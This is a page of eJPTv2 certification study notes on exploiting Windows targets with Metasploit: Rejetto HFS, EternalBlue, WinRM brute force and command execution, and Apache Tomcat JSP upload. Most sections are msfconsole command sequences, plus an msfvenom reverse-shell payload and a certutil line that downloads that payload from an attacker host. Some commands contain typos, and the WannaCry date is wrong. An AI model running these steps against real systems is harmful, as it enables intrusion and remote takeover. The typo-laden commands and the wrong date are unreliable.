> For the complete documentation index, see [llms.txt](https://106-sam.gitbook.io/ejptv2-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://106-sam.gitbook.io/ejptv2-notes/the-metasploit-framework-msf/exploitation/windows-exploitation.md). # Windows Exploitation ### Exploiting A Vulnerable HTTP File Server * An HTTP file server (HFS) is a web server that is designed for file & document sharing. * HTTP File Servers typically run on TCP port 80 and utilize the HTTP protocol for underlying communication. * Rejetto HFS is a popular free and open source HTTP file server that can be setup on both Windows and Linux. * Rejetto HFS V2.3 is vulnerable to a remote command execution attack. * MSF has an exploit module that we can utilize to gain access to the target system hosting the HFS. ``` msfconsole -q > db_status > workspace -a HFS > setg RHOSTS > db_nmap -sS -sV > search type: exploit rejetto > use > info > run ``` *** ### Exploiting Windows MS17-010 SMB Vulnerability * EternalBlue (MS17-010/CVE-2017-0144) is the name given to a collection of Windows vulnerabilities and exploits that allow attackers to remotely execute arbitrary code and gain access to a Windows system and consequently the network that the target system is a part of. * The EternalBlue exploit was developed by the NSA (National Security Agency) to take advantage of MS17010 vulnerability and was leaked to the public by a hacker group called the Shadow Broker in 2017. * The EternalBlue exploit takes advantage of a vulnerability in the Windows SMBv1 protocol that allows attackers to send specially crafted packets that consequently faciliate the execution of arbitrary commands. * The EternalBlue exploit was used in the WannaCry ransomware attack on June 27, 2017 to exploit other Windows Systems across networks with the objective of spreading the ransomware to as many systems as possible * This vulnerability affects multiple versions of Windows: * Windows Vista * Windows 7 * Windows Server 2008 * Windows 8.1 * Windows Server 2012 * Windows 10 * Windows Server 2016 * Microsoft released a patch for the vulnerability in March, 2017, however, many users and companies have still not yet patched their systems. * The EternalBlue exploit has a MSF auxiliary module that can be used to check if a target system if vulnerable to the exploit and also has an exploit module that can be used to exploit the vulnerability on unpatched systems. * The EternalBlue exploit module can be used to exploit vulnerable Windows systems and consequently provide us with a privileged meterpreter session on the target system. * SMBv1 is vulnerable ``` msfconsole -q > workspace EternalBlue > db_nmap -sS -sV -O > services > use auxiliary/scanner/smb/smb_ms17_010 > set RHOSTs > run > use exploit/windows/smb/ms17_010_eternalblue > run ``` ### Exploiting WinRM (Windows Remote Management Protocol) * Windows Remote Management (WinRM) is a Windows remote management protocol that can be used to facilitate remote access with Windows System. * WinRM is typically used in the following ways: * Remotely access and interact with Windows hosts on a local network. * Remotely access and execute commands on Windows systems on the internet. * Manage and configure Windows systems remotely. * WinRM typically uses TCP port 5985 and 5986 (HTTPS). **Exploiting WinRM** * WinRM implements access control and security for communication between systems through various forms of authentication. * We can utilize the MSF to identify WinRM users and their passwords as well as execute commands on the target system. * We can also utilize a MSF WinRM exploit module to obtain a meterpreter session on the target system. ``` msfconsole -q > workspace -a WinRM > db_nmap -sS -sV -O -p- > services > search type: auxiliary winrm > use auxiliary/scanner/winrm/winrm_auth_methods > set RHOST > run > search winrm_login > use 0 > set USER_FILE /usr/share/metasploit-framewrk/data/wordlists/common_users.txt > set PASS_FILE /usr/share/metasploit-framewrk/data/wordlists/unix_passwords.txt > search winrm_cmd > use 0 > set Username administrator > set Password tinkerbell > set CMD whoami > run > search winrm_script > use 0 > set Username administrator > set Password tinkerbell > set FORCE_VBS true > run ``` *** ### Exploiting A Vulnerable Apache Tomcat Web Server * Apache Tomcat, also known as Tomcat server is a popular, free and open source java servlet web server. * It is used to build and host dynamic websites and web applications based on the Java software platform. * Apache Tomcat utilizes the HTTP protocol to facilitate the underlying communicatino between the server and clients. * Apache Tomcat runs a TCP port 8080 by default.
Exploit * The stnadard Apache HTTP web server is used to host static and dynamic websites or web applications, typically developed in PHP. * The Apache Tomcat web server is primarily used to host dynamic websites or web applications developed in Java. * Apache Tomcat V8.5.19 is vulnerable to a remote code execution vulnerability that could potentially allow an attacker to upload and execute a JSP payload in order to gain remote access to the target server. * We can utilize a prebuilt MSF exploit module to exploit this vulnerability and consequently gain access to the target server. ``` msfconsole -q > workspace -a Tomcat > db_name -sS -sV > services > search type: exploit tomcat_jsp > use 0 upload_bypass > set payload java/jsp_shell_bind_tcp > run > getuid ctrl+z key to background session ``` ``` msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > meterpreter.exe ``` ``` > session 1 certutil -urlchace -f http:///meterpreter.exe meterpreter.exe ``` ``` vim handler.rc use multi/handler set ```